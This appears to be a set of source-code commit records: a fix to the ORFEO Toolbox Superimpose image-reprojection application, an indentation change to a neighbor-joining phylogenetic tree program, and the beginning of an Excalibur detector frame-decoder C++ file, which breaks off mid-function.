SetDefaultParameterFloat(\"lms\", 4.);\n\n AddParameter(ParameterType_OutputImage, \"out\", \"Output image\");\n SetParameterDescription(\"out\",\"Output reprojected image.\");\n AddRAMParameter();\n\n MandatoryOff(\"lms\");\n\n \/\/ Doc example parameter settings\n SetDocExampleParameterValue(\"inr\", \"QB_Toulouse_Ortho_PAN.tif\");\n SetDocExampleParameterValue(\"inm\", \"QB_Toulouse_Ortho_XS.tif\");\n SetDocExampleParameterValue(\"out\", \"SuperimposedXS_to_PAN.tif\");\n }\n\n void DoUpdateParameters()\n {\n \/\/ Nothing to do here : all parameters are independent\n }\n\n \n void DoExecute()\n {\n \/\/ Get the inputs\n UInt16VectorImageType* refImage = GetParameterUInt16VectorImage(\"inr\");\n UInt16VectorImageType* movingImage = GetParameterUInt16VectorImage(\"inm\");\n \n \/\/ Resample filter\n m_Resampler = ResamplerType::New();\n m_Interpolator = InterpolatorType::New();\n m_Resampler->SetInterpolator(m_Interpolator);\n \n \/\/ Setup the DEM Handler\n otb::Wrapper::ElevationParametersHandler::SetupDEMHandlerFromElevationParameters(this,\"elev\");\n \n \/\/ Set up output image informations\n UInt16VectorImageType::SpacingType spacing = refImage->GetSpacing();\n UInt16VectorImageType::IndexType start = refImage->GetLargestPossibleRegion().GetIndex();\n UInt16VectorImageType::SizeType size = refImage->GetLargestPossibleRegion().GetSize();\n UInt16VectorImageType::PointType origin = refImage->GetOrigin();\n\n if(IsParameterEnabled(\"lms\"))\n {\n float defScalarSpacing = GetParameterFloat(\"lms\");\n std::cout<<\"Generating coarse deformation field (spacing=\"<<defScalarSpacing<<\")\"<<std::endl;\n UInt16VectorImageType::SpacingType defSpacing;\n\n defSpacing[0] = defScalarSpacing;\n defSpacing[1] = defScalarSpacing;\n \n m_Resampler->SetDeformationFieldSpacing(defSpacing);\n }\n \n UInt16VectorImageType::PixelType defaultValue;\n itk::PixelBuilder<UInt16VectorImageType::PixelType>::Zero(defaultValue,\n movingImage->GetNumberOfComponentsPerPixel());\n\n m_Resampler->SetInput(movingImage);\n m_Resampler->SetOutputOrigin(origin);\n m_Resampler->SetOutputSpacing(spacing);\n m_Resampler->SetOutputSize(size);\n m_Resampler->SetOutputStartIndex(start);\n m_Resampler->SetOutputKeywordList(refImage->GetImageKeywordlist());\n m_Resampler->SetOutputProjectionRef(refImage->GetProjectionRef());\n m_Resampler->SetEdgePaddingValue(defaultValue);\n \n \/\/ Set the output image\n SetParameterOutputImage(\"out\", m_Resampler->GetOutput());\n }\n\n ResamplerType::Pointer m_Resampler;\n InterpolatorType::Pointer m_Interpolator;\n};\n\n} \/\/ end namespace Wrapper\n} \/\/ end namespace otb\n\nOTB_APPLICATION_EXPORT(otb::Wrapper::Superimpose)\n\n \n<commit_msg>BUG: Mantis 619: fix Superimpose with ortho images<commit_after>\/*=========================================================================\n\n Program: ORFEO Toolbox\n Language: C++\n Date: $Date$\n Version: $Revision$\n\n\n Copyright (c) Centre National d'Etudes Spatiales. All rights reserved.\n See OTBCopyright.txt for details.\n\n\n This software is distributed WITHOUT ANY WARRANTY; without even\n the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR\n PURPOSE. See the above copyright notices for more information.\n\n =========================================================================*\/\n#include \"otbWrapperApplication.h\"\n#include \"otbWrapperApplicationFactory.h\"\n\n#include \"otbGenericRSResampleImageFilter.h\"\n#include \"otbBCOInterpolateImageFunction.h\"\n\n\/\/ Elevation handler\n#include \"otbWrapperElevationParametersHandler.h\"\n\nnamespace otb\n{\n\nnamespace Wrapper\n{\n\nclass Superimpose : public Application\n{\npublic:\n \/** Standard class typedefs. *\/\n typedef Superimpose Self;\n typedef Application Superclass;\n typedef itk::SmartPointer<Self> Pointer;\n typedef itk::SmartPointer<const Self> ConstPointer;\n\n \/** Standard macro *\/\n itkNewMacro(Self);\n\n itkTypeMacro(Superimpose, Application);\n\n typedef unsigned short int PixelType;\n\n typedef otb::BCOInterpolateImageFunction<FloatVectorImageType> InterpolatorType;\n typedef otb::GenericRSResampleImageFilter<FloatVectorImageType,\n FloatVectorImageType> ResamplerType;\n\nprivate:\n void DoInit()\n {\n SetName(\"Superimpose\");\n SetDescription(\"Using available image metadata, project one image onto another one\");\n\n \/\/ Documentation\n SetDocName(\"Superimpose sensor\");\n SetDocLongDescription(\"This application performs the projection of an image into the geometry of another one.\");\n SetDocLimitations(\"None\");\n SetDocAuthors(\"OTB-Team\");\n SetDocSeeAlso(\" \");\n \n AddDocTag(Tags::Geometry);\n AddDocTag(\"Superimposition\");\n\n AddParameter(ParameterType_InputImage, \"inr\", \"Reference input\");\n SetParameterDescription(\"inr\",\"The input reference image.\");\n AddParameter(ParameterType_InputImage, \"inm\", \"The image to reproject\");\n SetParameterDescription(\"inm\",\"The image to reproject into the geometry of the reference input.\");\n\n \/\/ Elevation\n ElevationParametersHandler::AddElevationParameters(this, \"elev\");\n\n AddParameter(ParameterType_Float, \"lms\", \"Spacing of the deformation field\");\n SetParameterDescription(\"lms\",\"Generate a coarser deformation field with the given spacing\");\n SetDefaultParameterFloat(\"lms\", 4.);\n\n AddParameter(ParameterType_OutputImage, \"out\", \"Output image\");\n SetParameterDescription(\"out\",\"Output reprojected image.\");\n AddRAMParameter();\n\n MandatoryOff(\"lms\");\n\n \/\/ Doc example parameter settings\n SetDocExampleParameterValue(\"inr\", \"QB_Toulouse_Ortho_PAN.tif\");\n SetDocExampleParameterValue(\"inm\", \"QB_Toulouse_Ortho_XS.tif\");\n SetDocExampleParameterValue(\"out\", \"SuperimposedXS_to_PAN.tif\");\n }\n\n void DoUpdateParameters()\n {\n \/\/ Nothing to do here : all parameters are independent\n }\n\n \n void DoExecute()\n {\n \/\/ Get the inputs\n FloatVectorImageType* refImage = GetParameterImage(\"inr\");\n FloatVectorImageType* movingImage = GetParameterImage(\"inm\");\n \n \/\/ Resample filter\n m_Resampler = ResamplerType::New();\n m_Interpolator = InterpolatorType::New();\n m_Interpolator->SetRadius(2);\n m_Resampler->SetInterpolator(m_Interpolator);\n \n \/\/ Setup the DEM Handler\n otb::Wrapper::ElevationParametersHandler::SetupDEMHandlerFromElevationParameters(this,\"elev\");\n \n \/\/ Set up output image informations\n FloatVectorImageType::SpacingType spacing = refImage->GetSpacing();\n FloatVectorImageType::IndexType start = refImage->GetLargestPossibleRegion().GetIndex();\n FloatVectorImageType::SizeType size = refImage->GetLargestPossibleRegion().GetSize();\n FloatVectorImageType::PointType origin = refImage->GetOrigin();\n\n if(IsParameterEnabled(\"lms\"))\n {\n float defScalarSpacing = vcl_abs(GetParameterFloat(\"lms\"));\n std::cout<<\"Generating coarse deformation field (spacing=\"<<defScalarSpacing<<\")\"<<std::endl;\n FloatVectorImageType::SpacingType defSpacing;\n\n defSpacing[0] = defScalarSpacing;\n defSpacing[1] = defScalarSpacing;\n \n if (spacing[0]<0.0) defSpacing[0] *= -1.0;\n if (spacing[1]<0.0) defSpacing[1] *= -1.0;\n \n m_Resampler->SetDeformationFieldSpacing(defSpacing);\n }\n \n FloatVectorImageType::PixelType defaultValue;\n itk::PixelBuilder<FloatVectorImageType::PixelType>::Zero(defaultValue,\n movingImage->GetNumberOfComponentsPerPixel());\n\n m_Resampler->SetInput(movingImage);\n m_Resampler->SetInputKeywordList(movingImage->GetImageKeywordlist());\n m_Resampler->SetInputProjectionRef(movingImage->GetProjectionRef());\n m_Resampler->SetOutputOrigin(origin);\n m_Resampler->SetOutputSpacing(spacing);\n m_Resampler->SetOutputSize(size);\n m_Resampler->SetOutputStartIndex(start);\n m_Resampler->SetOutputKeywordList(refImage->GetImageKeywordlist());\n m_Resampler->SetOutputProjectionRef(refImage->GetProjectionRef());\n m_Resampler->SetEdgePaddingValue(defaultValue);\n \n \/\/ Set the output image\n SetParameterOutputImage(\"out\", m_Resampler->GetOutput());\n }\n\n ResamplerType::Pointer m_Resampler;\n InterpolatorType::Pointer m_Interpolator;\n};\n\n} \/\/ end namespace Wrapper\n} \/\/ end namespace otb\n\nOTB_APPLICATION_EXPORT(otb::Wrapper::Superimpose)\n\n \n<|endoftext|>"} {"text":"<commit_before>#include <string>\n#include <iostream>\n#include <cstdlib>\n#include <fstream>\n#include <assert.h>\n#include <unistd.h>\n\n#include \"config.h\"\n#include \"file_utils.hpp\"\n#include \"NeighborJoining.hpp\"\n#include <ctime>\n#include <time.h>\n#include \"log_utils.hpp\"\n#include \"fnj_gengetopt.h\"\n\n#include \"DataInputStream.hpp\"\n#include \"DataOutputStream.hpp\"\n#include \"TreeTextOutputStream.hpp\"\n#include \"XmlOutputStream.hpp\"\n#include \"Extrainfos.hpp\"\n#include \"fileFormatSchema.hpp\"\n#include \"PhylipDmInputStream.hpp\"\n#include \"BinaryInputStream.hpp\"\n\n#ifdef WITH_LIBXML\n#include \"XmlInputStream.hpp\"\n#endif \/\/ WITH_LIBXML\n\nusing namespace std;\n\n\/\/\n\/\/ Builds trees using the supplied distance methods.\n\/\/ Each created tree is added to the tree2count map.\n\/\/\n\ntemplate<class T> void buildTrees(T &dm, tree2int_map &tree2count, std::vector<NJ_method> &methods, str2int_hashmap &name2id) {\n\tSequenceTree tree;\n\tfor(size_t i=0; i<methods.size(); i++){\n\t\tcomputeNJTree(dm,tree,methods[i]);\n\t\ttree.makeCanonical(name2id);\n\t\ttree2int_map::iterator iter = tree2count.find(tree);\n\t\tif(iter!=tree2count.end())\n\t\t\titer->second++;\n\t\telse\n\t\t\ttree2count[tree] = 1;\n\t}\n}\n\nint main (int argc, char **argv) {\n if(isatty(STDIN_FILENO) && argc==1) {\n cout<<\"No input data or parameters. Use -h,--help for more information\"<<endl;\n exit(EXIT_FAILURE);\n }\n\tgengetopt_args_info args_info;\n\tTRY_EXCEPTION();\n\tif (cmdline_parser (argc, argv, &args_info) != 0)\n\t\texit(EXIT_FAILURE);\n#ifndef WITH_LIBXML\n\tif ( args_info.input_format_arg == input_format_arg_xml ) {\n\t\tcerr << \"The software was built with WITH_LIBXML=OFF. Please rebuild it if you want XML functionality.\" << endl;\n\t\texit(EXIT_FAILURE);\n\t}\n#endif \/\/ WITH_LIBXML\n\tif ( args_info.print_relaxng_input_given && args_info.print_relaxng_output_given ) {\n\t\tcerr << \"error: --print-relaxng-input and --print-relaxng-output can not be used at the same time\" << endl;\n\t\texit(EXIT_FAILURE);\n\t}\n\tif ( args_info.print_relaxng_input_given ) {\n\t\tcout << fastphylo_distance_matrix_xml_relaxngstr << std::endl;\n\t\texit(EXIT_SUCCESS);\n\t};\n\tif ( args_info.print_relaxng_output_given ) {\n\t\tcout << fastphylo_tree_count_xml_relaxngstr << std::endl;\n\t\texit(EXIT_SUCCESS);\n\t};\n\t\/\/----------------------------------------------\n\t\/\/ DISTANCE METHODS\n\tstd::vector<NJ_method> methods;\n\tif( args_info.number_of_runs_given && args_info.input_format_arg == input_format_arg_xml ) {\n\t\tcerr << \"error: --number-of-runs can not be used together with input format xml.\" << endl;\n\t\texit(EXIT_FAILURE);\n\t}\n\tswitch ( args_info.method_arg ) {\n\tcase method_arg_NJ:\n\t\tmethods.push_back(NJ);\n\t\tbreak;\n\tcase method_arg_FNJ:\n\t\tmethods.push_back(FNJ);\n\t\tbreak;\n\tcase method_arg_BIONJ:\n\t\tmethods.push_back(BIONJ);\n\t\tbreak;\n\tdefault:\n\t\tcerr << \"error: method chosen not available\" << endl;\n\t\texit(EXIT_FAILURE);\n\t}\n\tbool printCounts = args_info.print_counts_flag;\n\ttry {\n\t\tchar * inputfilename = NULL;\n\t\tchar * outputfilename = NULL;\n\t\tDataInputStream *istream;\n\t\tDataOutputStream *ostream;\n\n\t\tswitch( args_info.inputs_num ) {\n\t\t\tcase 0:\n\t\t\t\tbreak; \/* inputfilename will be null and indicate stdin as input *\/\n\t\tcase 1:\n\t\t\tinputfilename = args_info.inputs[0];\n\t\t\tbreak;\n\t\tdefault: cerr << \"Error: you can at most specify one input filename\" << endl;\n\t\t\texit(EXIT_FAILURE);\n\t\t}\n\t\tif( args_info.outfile_given )\n\t\t\toutputfilename = args_info.outfile_arg;\n\t\tswitch ( args_info.input_format_arg ) {\n\t\t\tcase input_format_arg_phylip:\n\t\t\t\tistream = new PhylipDmInputStream(inputfilename);\n\t\t\t\tbreak;\n\t\t\tcase input_format_arg_binary: istream = new BinaryInputStream(inputfilename);\n\t\t\t\tbreak;\n#ifdef WITH_LIBXML\n\t\t\tcase input_format_arg_xml: istream = new XmlInputStream(inputfilename);\n\t\t\t\tbreak;\n#endif \/\/ WITH_LIBXML\n\t\t\tdefault:\n\t\t\t\texit(EXIT_FAILURE);\n\t\t}\n\t\tswitch (args_info.output_format_arg) {\n\t\t\tcase output_format_arg_newick:\n\t\t\t\tostream = new TreeTextOutputStream(outputfilename);\n\t\t\t\tbreak;\n\t\t\tcase output_format_arg_xml:\n\t\t\t\tostream = new XmlOutputStream(outputfilename);\n\t\t\t\tbreak;\n\t\t\tdefault:\n\t\t\t\texit(EXIT_FAILURE);\n\t\t}\n\t\t\/\/printf(\"%d\\n\", args_info.input_format_arg);\n\t\t\/\/ THE DATA WE WILL PROCESS\n\t\tvector<Sequence> seqs;\n\t\tvector<std::string> names;\n\t\tvector<DNA_b128_String> b128seqs;\n\t\tExtrainfos extrainfos;\n\t\tbool latestReadSuccessful = true;\n\t\tvector<string> speciesnames;\n\t\treadstatus status;\n\t\tint run = 0;\n\t\tstatus = END_OF_RUN;\n\n\t\twhile (status == END_OF_RUN && (args_info.input_format_arg == input_format_arg_xml || run<args_info.number_of_runs_arg)) {\n\t\t\tstring runId(\"\");\n\t\t\trun++;\n\t\t\ttree2int_map tree2count((size_t)(args_info.bootstraps_arg * 1.3));\n\t\t\tstr2int_hashmap name2id;\n\t\t\tif (args_info.input_format_arg==input_format_arg_binary) {\n\t\t\t\tStrFloMatrix dm;\n\t\t\t\tfor (int runNo=1; (status = istream->readDM(dm, names, runId, extrainfos))==DM_READ; runNo++) {\n\t\t\t\t\tif (args_info.analyze_run_number_given) {\n\t\t\t\t\t\tif (runNo<args_info.analyze_run_number_arg)\n\t\t\t\t\t\t\tcontinue;\n\t\t\t\t\t\tif (runNo>args_info.analyze_run_number_arg) {\n\t\t\t\t\t\t\tstatus=END_OF_RUN;\n\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t}\n\t\t\t\t\tfor(size_t namei=0; namei<dm.getSize(); namei++)\n\t\t\t\t\t\tname2id[dm.getIdentifier(namei)] = namei;\n\t\t\t\t\tbuildTrees(dm, tree2count, methods,name2id);\n\t\t\t\t}\n\t\t\t}\n\t\t\telse {\n\t\t\t\tStrDblMatrix dm;\n\t\t\t\tfor (int runNo=1; (status = istream->readDM(dm, names, runId, extrainfos))==DM_READ; runNo++) {\n\t\t\t\t\tif (args_info.analyze_run_number_given) {\n\t\t\t\t\t\tif (runNo<args_info.analyze_run_number_arg)\n\t\t\t\t\t\t\tcontinue;\n\t\t\t\t\t\tif (runNo>args_info.analyze_run_number_arg) {\n\t\t\t\t\t\t\tstatus=END_OF_RUN;\n\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t}\n\t\t\t\t\tfor(size_t namei=0; namei<dm.getSize(); namei++)\n\t\t\t\t\t\tname2id[dm.getIdentifier(namei)] = namei;\n\t\t\t\t\tbuildTrees(dm, tree2count, methods,name2id);\n\t\t\t\t}\n\t\t\t}\n\t\t\tif (status==END_OF_RUN)\n\t\t\t\tostream->print(tree2count,printCounts, runId, names, extrainfos);\n\t\t\tif (args_info.analyze_run_number_given)\n\t\t\t\tbreak;\n\t\t}\/\/end run loop\n\t\tdelete ostream;\n\t\tdelete istream;\n\t}\n\tcatch(...){\n\t\tthrow;\n\t}\n\tCATCH_EXCEPTION();\n\tcmdline_parser_free(&args_info);\n\treturn 0;\n}\n<commit_msg>Spiteful indent fix<commit_after>#include <string>\n#include <iostream>\n#include <cstdlib>\n#include <fstream>\n#include <assert.h>\n#include <unistd.h>\n\n#include \"config.h\"\n#include \"file_utils.hpp\"\n#include \"NeighborJoining.hpp\"\n#include <ctime>\n#include <time.h>\n#include \"log_utils.hpp\"\n#include \"fnj_gengetopt.h\"\n\n#include \"DataInputStream.hpp\"\n#include \"DataOutputStream.hpp\"\n#include \"TreeTextOutputStream.hpp\"\n#include \"XmlOutputStream.hpp\"\n#include \"Extrainfos.hpp\"\n#include \"fileFormatSchema.hpp\"\n#include \"PhylipDmInputStream.hpp\"\n#include \"BinaryInputStream.hpp\"\n\n#ifdef WITH_LIBXML\n#include \"XmlInputStream.hpp\"\n#endif \/\/ WITH_LIBXML\n\nusing namespace std;\n\n\/\/\n\/\/ Builds trees using the supplied distance methods.\n\/\/ Each created tree is added to the tree2count map.\n\/\/\n\ntemplate<class T> void buildTrees(T &dm, tree2int_map &tree2count, std::vector<NJ_method> &methods, str2int_hashmap &name2id) {\n\tSequenceTree tree;\n\n\tfor(size_t i=0; i<methods.size(); i++){\n\t\tcomputeNJTree(dm,tree,methods[i]);\n\t\ttree.makeCanonical(name2id);\n\t\ttree2int_map::iterator iter = tree2count.find(tree);\n\t\tif(iter!=tree2count.end())\n\t\t\titer->second++;\n\t\telse\n\t\t\ttree2count[tree] = 1;\n\t}\n}\n\nint main (int argc, char **argv) {\n if(isatty(STDIN_FILENO) && argc==1) {\n cout<<\"No input data or parameters. Use -h,--help for more information\"<<endl;\n exit(EXIT_FAILURE);\n }\n\tgengetopt_args_info args_info;\n\tTRY_EXCEPTION();\n\tif (cmdline_parser (argc, argv, &args_info) != 0)\n\t\texit(EXIT_FAILURE);\n#ifndef WITH_LIBXML\n\tif ( args_info.input_format_arg == input_format_arg_xml ) {\n\t\tcerr << \"The software was built with WITH_LIBXML=OFF. Please rebuild it if you want XML functionality.\" << endl;\n\t\texit(EXIT_FAILURE);\n\t}\n#endif \/\/ WITH_LIBXML\n\tif ( args_info.print_relaxng_input_given && args_info.print_relaxng_output_given ) {\n\t\tcerr << \"error: --print-relaxng-input and --print-relaxng-output can not be used at the same time\" << endl;\n\t\texit(EXIT_FAILURE);\n\t}\n\tif ( args_info.print_relaxng_input_given ) {\n\t\tcout << fastphylo_distance_matrix_xml_relaxngstr << std::endl;\n\t\texit(EXIT_SUCCESS);\n\t};\n\tif ( args_info.print_relaxng_output_given ) {\n\t\tcout << fastphylo_tree_count_xml_relaxngstr << std::endl;\n\t\texit(EXIT_SUCCESS);\n\t};\n\t\/\/----------------------------------------------\n\t\/\/ DISTANCE METHODS\n\tstd::vector<NJ_method> methods;\n\tif( args_info.number_of_runs_given && args_info.input_format_arg == input_format_arg_xml ) {\n\t\tcerr << \"error: --number-of-runs can not be used together with input format xml.\" << endl;\n\t\texit(EXIT_FAILURE);\n\t}\n\tswitch ( args_info.method_arg ) {\n\tcase method_arg_NJ:\n\t\tmethods.push_back(NJ);\n\t\tbreak;\n\tcase method_arg_FNJ:\n\t\tmethods.push_back(FNJ);\n\t\tbreak;\n\tcase method_arg_BIONJ:\n\t\tmethods.push_back(BIONJ);\n\t\tbreak;\n\tdefault:\n\t\tcerr << \"error: method chosen not available\" << endl;\n\t\texit(EXIT_FAILURE);\n\t}\n\tbool printCounts = args_info.print_counts_flag;\n\ttry {\n\t\tchar * inputfilename = NULL;\n\t\tchar * outputfilename = NULL;\n\t\tDataInputStream *istream;\n\t\tDataOutputStream *ostream;\n\n\t\tswitch( args_info.inputs_num ) {\n\t\t\tcase 0:\n\t\t\t\tbreak; \/* inputfilename will be null and indicate stdin as input *\/\n\t\tcase 1:\n\t\t\tinputfilename = args_info.inputs[0];\n\t\t\tbreak;\n\t\tdefault: cerr << \"Error: you can at most specify one input filename\" << endl;\n\t\t\texit(EXIT_FAILURE);\n\t\t}\n\t\tif( args_info.outfile_given )\n\t\t\toutputfilename = args_info.outfile_arg;\n\t\tswitch ( args_info.input_format_arg ) {\n\t\t\tcase input_format_arg_phylip:\n\t\t\t\tistream = new PhylipDmInputStream(inputfilename);\n\t\t\t\tbreak;\n\t\t\tcase input_format_arg_binary: istream = new BinaryInputStream(inputfilename);\n\t\t\t\tbreak;\n#ifdef WITH_LIBXML\n\t\t\tcase input_format_arg_xml: istream = new XmlInputStream(inputfilename);\n\t\t\t\tbreak;\n#endif \/\/ WITH_LIBXML\n\t\t\tdefault:\n\t\t\t\texit(EXIT_FAILURE);\n\t\t}\n\t\tswitch (args_info.output_format_arg) {\n\t\t\tcase output_format_arg_newick:\n\t\t\t\tostream = new TreeTextOutputStream(outputfilename);\n\t\t\t\tbreak;\n\t\t\tcase output_format_arg_xml:\n\t\t\t\tostream = new XmlOutputStream(outputfilename);\n\t\t\t\tbreak;\n\t\t\tdefault:\n\t\t\t\texit(EXIT_FAILURE);\n\t\t}\n\t\t\/\/printf(\"%d\\n\", args_info.input_format_arg);\n\t\t\/\/ THE DATA WE WILL PROCESS\n\t\tvector<Sequence> seqs;\n\t\tvector<std::string> names;\n\t\tvector<DNA_b128_String> b128seqs;\n\t\tExtrainfos extrainfos;\n\t\tbool latestReadSuccessful = true;\n\t\tvector<string> speciesnames;\n\t\treadstatus status;\n\t\tint run = 0;\n\t\tstatus = END_OF_RUN;\n\n\t\twhile (status == END_OF_RUN && (args_info.input_format_arg == input_format_arg_xml || run<args_info.number_of_runs_arg)) {\n\t\t\tstring runId(\"\");\n\t\t\trun++;\n\t\t\ttree2int_map tree2count((size_t)(args_info.bootstraps_arg * 1.3));\n\t\t\tstr2int_hashmap name2id;\n\t\t\tif (args_info.input_format_arg==input_format_arg_binary) {\n\t\t\t\tStrFloMatrix dm;\n\t\t\t\tfor (int runNo=1; (status = istream->readDM(dm, names, runId, extrainfos))==DM_READ; runNo++) {\n\t\t\t\t\tif (args_info.analyze_run_number_given) {\n\t\t\t\t\t\tif (runNo<args_info.analyze_run_number_arg)\n\t\t\t\t\t\t\tcontinue;\n\t\t\t\t\t\tif (runNo>args_info.analyze_run_number_arg) {\n\t\t\t\t\t\t\tstatus=END_OF_RUN;\n\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t}\n\t\t\t\t\tfor(size_t namei=0; namei<dm.getSize(); namei++)\n\t\t\t\t\t\tname2id[dm.getIdentifier(namei)] = namei;\n\t\t\t\t\tbuildTrees(dm, tree2count, methods,name2id);\n\t\t\t\t}\n\t\t\t}\n\t\t\telse {\n\t\t\t\tStrDblMatrix dm;\n\t\t\t\tfor (int runNo=1; (status = istream->readDM(dm, names, runId, extrainfos))==DM_READ; runNo++) {\n\t\t\t\t\tif (args_info.analyze_run_number_given) {\n\t\t\t\t\t\tif (runNo<args_info.analyze_run_number_arg)\n\t\t\t\t\t\t\tcontinue;\n\t\t\t\t\t\tif (runNo>args_info.analyze_run_number_arg) {\n\t\t\t\t\t\t\tstatus=END_OF_RUN;\n\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t}\n\t\t\t\t\tfor(size_t namei=0; namei<dm.getSize(); namei++) {\n\t\t\t\t\t name2id[dm.getIdentifier(namei)] = namei;\n\t\t\t\t\t}\n\t\t\t\t\tbuildTrees(dm, tree2count, methods,name2id);\n\t\t\t\t}\n\t\t\t}\n\t\t\tif (status==END_OF_RUN)\n\t\t\t\tostream->print(tree2count,printCounts, runId, names, extrainfos);\n\t\t\tif (args_info.analyze_run_number_given)\n\t\t\t\tbreak;\n\t\t}\/\/end run loop\n\t\tdelete ostream;\n\t\tdelete istream;\n\t}\n\tcatch(...){\n\t\tthrow;\n\t}\n\tCATCH_EXCEPTION();\n\tcmdline_parser_free(&args_info);\n\treturn 0;\n}\n<|endoftext|>"} {"text":"<commit_before>\/*\n * ExcaliburFrameDecoder.cpp\n *\n * Created on: Jan 16th, 2017\n * Author: Tim Nicholls, STFC Application Engineering Group\n *\/\n\n#include \"ExcaliburFrameDecoder.h\"\n#include \"gettime.h\"\n#include <iostream>\n#include <iomanip>\n#include <sstream>\n#include <arpa\/inet.h>\n\nusing namespace FrameReceiver;\n\nExcaliburFrameDecoder::ExcaliburFrameDecoder(LoggerPtr& logger,\n bool enable_packet_logging, unsigned int frame_timeout_ms) :\n FrameDecoder(logger, enable_packet_logging),\n\t\tcurrent_frame_seen_(-1),\n\t\tcurrent_frame_buffer_id_(-1),\n\t\tcurrent_frame_buffer_(0),\n\t\tcurrent_frame_header_(0),\n\t\tdropping_frame_data_(false),\n\t\tframe_timeout_ms_(frame_timeout_ms),\n\t\tframes_timedout_(0)\n{\n current_packet_header_.reset(new uint8_t[sizeof(Excalibur::PacketHeader)]);\n dropped_frame_buffer_.reset(new uint8_t[Excalibur::total_frame_size]);\n\n if (enable_packet_logging_) {\n LOG4CXX_INFO(packet_logger_, \"PktHdr: SourceAddress\");\n LOG4CXX_INFO(packet_logger_, \"PktHdr: | SourcePort\");\n LOG4CXX_INFO(packet_logger_, \"PktHdr: | | DestinationPort\");\n LOG4CXX_INFO(packet_logger_, \"PktHdr: | | | SubframeCounter [4 Bytes]\");\n LOG4CXX_INFO(packet_logger_, \"PktHdr: | | | | PacketCounter&Flags [4 Bytes]\");\n LOG4CXX_INFO(packet_logger_, \"PktHdr: | | | | |\");\n LOG4CXX_INFO(packet_logger_, \"PktHdr: |-------------- |---- |---- |---------- |----------\");\n }\n}\n\nExcaliburFrameDecoder::~ExcaliburFrameDecoder()\n{\n}\n\nconst size_t ExcaliburFrameDecoder::get_frame_buffer_size(void) const\n{\n return Excalibur::total_frame_size;\n}\n\nconst size_t ExcaliburFrameDecoder::get_frame_header_size(void) const\n{\n return sizeof(Excalibur::FrameHeader);\n}\n\nconst size_t ExcaliburFrameDecoder::get_packet_header_size(void) const\n{\n return sizeof(Excalibur::PacketHeader);\n}\n\nvoid* ExcaliburFrameDecoder::get_packet_header_buffer(void)\n{\n return current_packet_header_.get();\n}\n\nvoid ExcaliburFrameDecoder::process_packet_header(size_t bytes_received, int port, struct sockaddr_in* from_addr)\n{\n \/\/ Dump raw header if packet logging enabled\n if (enable_packet_logging_)\n {\n std::stringstream ss;\n uint8_t* hdr_ptr = reinterpret_cast<uint8_t*>(current_packet_header_.get());\n ss << \"PktHdr: \" << std::setw(15) << std::left << inet_ntoa(from_addr->sin_addr) << std::right << \" \"\n << std::setw(5) << ntohs(from_addr->sin_port) << \" \"\n << std::setw(5) << port << std::hex;\n for (unsigned int hdr_byte = 0; hdr_byte < sizeof(Excalibur::PacketHeader); hdr_byte++)\n {\n if (hdr_byte % 8 == 0) {\n ss << \" \";\n }\n ss << std::setw(2) << std::setfill('0') << (unsigned int)*hdr_ptr << \" \";\n hdr_ptr++;\n }\n ss << std::dec;\n LOG4CXX_INFO(packet_logger_, ss.str());\n }\n\n\tuint32_t subframe_counter = get_subframe_counter();\n\tuint32_t packet_number = get_packet_number();\n\tbool start_of_frame_marker = get_start_of_frame_marker();\n\tbool end_of_frame_marker = get_end_of_frame_marker();\n\n\tuint32_t subframe_idx = subframe_counter % 2;\n\tuint32_t frame = subframe_counter \/ 2;\n\n LOG4CXX_DEBUG_LEVEL(3, logger_, \"Got packet header:\"\n << \" packet: \" << packet_number << \" subframe ctr: \"<< subframe_counter << \" idx:\" << subframe_idx\n\t\t\t<< \" SOF: \" << (int)start_of_frame_marker << \" EOF: \" << (int)end_of_frame_marker\n );\n\n if (frame != current_frame_seen_)\n {\n current_frame_seen_ = frame;\n\n \tif (frame_buffer_map_.count(current_frame_seen_) == 0)\n \t{\n \t if (empty_buffer_queue_.empty())\n {\n current_frame_buffer_ = dropped_frame_buffer_.get();\n\n \t if (!dropping_frame_data_)\n {\n LOG4CXX_ERROR(logger_, \"First packet from frame \" << current_frame_seen_ << \" detected but no free buffers available. Dropping packet data for this frame\");\n dropping_frame_data_ = true;\n }\n }\n \t else\n \t {\n\n current_frame_buffer_id_ = empty_buffer_queue_.front();\n empty_buffer_queue_.pop();\n frame_buffer_map_[current_frame_seen_] = current_frame_buffer_id_;\n current_frame_buffer_ = buffer_manager_->get_buffer_address(current_frame_buffer_id_);\n\n if (!dropping_frame_data_)\n {\n LOG4CXX_DEBUG_LEVEL(2, logger_, \"First packet from frame \" << current_frame_seen_ << \" detected, allocating frame buffer ID \" << current_frame_buffer_id_);\n }\n else\n {\n dropping_frame_data_ = false;\n LOG4CXX_DEBUG_LEVEL(2, logger_, \"Free buffer now available for frame \" << current_frame_seen_ << \", allocating frame buffer ID \" << current_frame_buffer_id_);\n }\n \t }\n\n \t \/\/ Initialise frame header\n current_frame_header_ = reinterpret_cast<Excalibur::FrameHeader*>(current_frame_buffer_);\n current_frame_header_->frame_number = current_frame_seen_;\n current_frame_header_->frame_state = FrameDecoder::FrameReceiveStateIncomplete;\n current_frame_header_->packets_received = 0;\n current_frame_header_->sof_marker_count = 0;\n current_frame_header_->eof_marker_count = 0;\n memset(current_frame_header_->packet_state, 0, Excalibur::num_frame_packets);\n gettime(reinterpret_cast<struct timespec*>(&(current_frame_header_->frame_start_time)));\n\n \t}\n \telse\n \t{\n \t\tcurrent_frame_buffer_id_ = frame_buffer_map_[current_frame_seen_];\n \tcurrent_frame_buffer_ = buffer_manager_->get_buffer_address(current_frame_buffer_id_);\n \tcurrent_frame_header_ = reinterpret_cast<Excalibur::FrameHeader*>(current_frame_buffer_);\n \t}\n\n }\n\n \/\/ If SOF or EOF markers seen in packet header, increment appropriate field in frame header\n if (start_of_frame_marker) {\n \t(current_frame_header_->sof_marker_count)++;\n }\n if (end_of_frame_marker) {\n \t(current_frame_header_->eof_marker_count)++;\n }\n\n \/\/ Update packet_number state map in frame header\n current_frame_header_->packet_state[subframe_idx][packet_number] = 1;\n\n}\n\nvoid* ExcaliburFrameDecoder::get_next_payload_buffer(void) const\n{\n\n uint8_t* next_receive_location =\n 